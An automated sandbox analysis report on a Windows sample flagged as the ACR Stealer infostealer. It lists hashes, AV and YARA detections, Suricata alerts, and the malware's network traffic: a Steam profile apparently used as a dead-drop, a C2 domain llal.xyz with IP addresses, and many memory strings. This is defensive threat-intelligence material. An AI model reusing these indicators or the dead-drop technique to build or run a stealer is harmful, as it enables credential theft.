Edit tour

Windows Analysis Report
OXoeX1Ii3x.exe

Overview

General Information

Sample name:	OXoeX1Ii3x.exe renamed because original name is a hash value
Original sample name:	3e9881b9c6ff4994fc9d684456694e77.exe
Analysis ID:	1582973
MD5:	3e9881b9c6ff4994fc9d684456694e77
SHA1:	370244669daea5f87c797d6ad240adbfb7006384
SHA256:	a35599ceb0a707d21515a6813b699a86ef0bef98fb42b804274640df2cef4879
Tags:	exeuser-abuse_ch
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

AV process strings found (often used to terminate AV products)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

One or more processes crash

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

OXoeX1Ii3x.exe (PID: 4396 cmdline: "C:\Users\user\Desktop\OXoeX1Ii3x.exe" MD5: 3E9881B9C6FF4994FC9D684456694E77)

WerFault.exe (PID: 5064 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 4396 -s 1932 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
OXoeX1Ii3x.exe	infostealer_win_acrstealer_str	Finds ACR Stealer standalone samples based on specific strings.	Sekoia.io	0x4f710:$str01: ref.txt 0x4e348:$str02: Wininet.dll 0x4e3c4:$str03: Content-Type: application/octet-stream; boundary=---- 0x4e40c:$str04: POST 0x4e484:$str05: os_c 0x4e48c:$str06: en_k 0x4f734:$str07: MyApp/1.0 0x4e5c4:$str08: /Up/b 0x50018:$str10: /ujs/ 0x5006c:$str11: /Up/ 0x50040:$str12: ostr 0x50048:$str13: brCH 0x50050:$str14: brGk 0x4e43c:$str15: https://steamcommunity.com/profiles/

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.OXoeX1Ii3x.exe.200000.0.unpack	infostealer_win_acrstealer_str	Finds ACR Stealer standalone samples based on specific strings.	Sekoia.io	0x4f710:$str01: ref.txt 0x4e348:$str02: Wininet.dll 0x4e3c4:$str03: Content-Type: application/octet-stream; boundary=---- 0x4e40c:$str04: POST 0x4e484:$str05: os_c 0x4e48c:$str06: en_k 0x4f734:$str07: MyApp/1.0 0x4e5c4:$str08: /Up/b 0x50018:$str10: /ujs/ 0x5006c:$str11: /Up/ 0x50040:$str12: ostr 0x50048:$str13: brCH 0x50050:$str14: brGk 0x4e43c:$str15: https://steamcommunity.com/profiles/
0.0.OXoeX1Ii3x.exe.200000.0.unpack	infostealer_win_acrstealer_str	Finds ACR Stealer standalone samples based on specific strings.	Sekoia.io	0x4f710:$str01: ref.txt 0x4e348:$str02: Wininet.dll 0x4e3c4:$str03: Content-Type: application/octet-stream; boundary=---- 0x4e40c:$str04: POST 0x4e484:$str05: os_c 0x4e48c:$str06: en_k 0x4f734:$str07: MyApp/1.0 0x4e5c4:$str08: /Up/b 0x50018:$str10: /ujs/ 0x5006c:$str11: /Up/ 0x50040:$str12: ostr 0x50048:$str13: brCH 0x50050:$str14: brGk 0x4e43c:$str15: https://steamcommunity.com/profiles/

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ET MALWARE ACR Stealer CnC Checkin Attempt

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T09:12:06.422346+0100	2052674	1	A Network Trojan was detected	192.168.2.5	49705	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-01T09:12:05.545826+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49704	104.102.49.254	443	TCP
2025-01-01T09:12:06.422346+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49705	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: OXoeX1Ii3x.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: OXoeX1Ii3x.exe	Virustotal: Detection: 52%			Perma Link
Source: OXoeX1Ii3x.exe	ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: OXoeX1Ii3x.exe

Joe Sandbox ML: detected

Source: OXoeX1Ii3x.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, REMOVABLE_RUN_FROM_SWAP

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:49705 version: TLS 1.2

Source: OXoeX1Ii3x.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_0023576B FindFirstFileExW,		0_2_0023576B
Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe	Code function: 0_2_00207A82 __EH_prolog3_GS,FindFirstFileA,PathMatchSpecA,FindFirstFileA,FindNextFileA,FindClose,FindNextFileA,FindClose,FindClose,FindClose,		0_2_00207A82

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2052674 - Severity 1 - ET MALWARE ACR Stealer CnC Checkin Attempt : 192.168.2.5:49705 -> 188.114.96.3:443

Performs DNS queries to domains with low reputation

Source:

DNS query: llal.xyz

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49704 -> 104.102.49.254:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199619938930 HTTP/1.1User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: steamcommunity.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d HTTP/1.1User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: llal.xyzCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\OXoeX1Ii3x.exe

Code function: 0_2_002173CD InternetOpenUrlA,InternetReadFile,

0_2_002173CD

Source: global traffic	HTTP traffic detected: GET /profiles/76561199619938930 HTTP/1.1User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: steamcommunity.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ujs/2ae977f4-db12-4876-9e4d-fc8d1778842d HTTP/1.1User-Agent: Mozilla/5.0 (Linux x86_64) AppleWebKit/600.48 (KHTML, like Gecko) Chrome/50.0.2598.249 Safari/603Host: llal.xyzCache-Control: no-cache

Source: OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;eE< equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: llal.xyz

Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: Amcache.hve.4.dr	String found in binary or memory: http://upx.sf.net
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowerW
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: 76561199619938930[1].htm.0.dr	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: OXoeX1Ii3x.exe, 00000000.00000002.2506019196.000000000339F000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033C3000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033D5000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000002.2506019196.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029933806.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E2000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029760130.00000000033E9000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029802091.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003425000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029897985.0000000003436000.00000004.00000020.00020000.00000000.sdmp, OXoeX1Ii3x.exe, 00000000.00000003.2029736703.0000000003426000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.0.dr	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
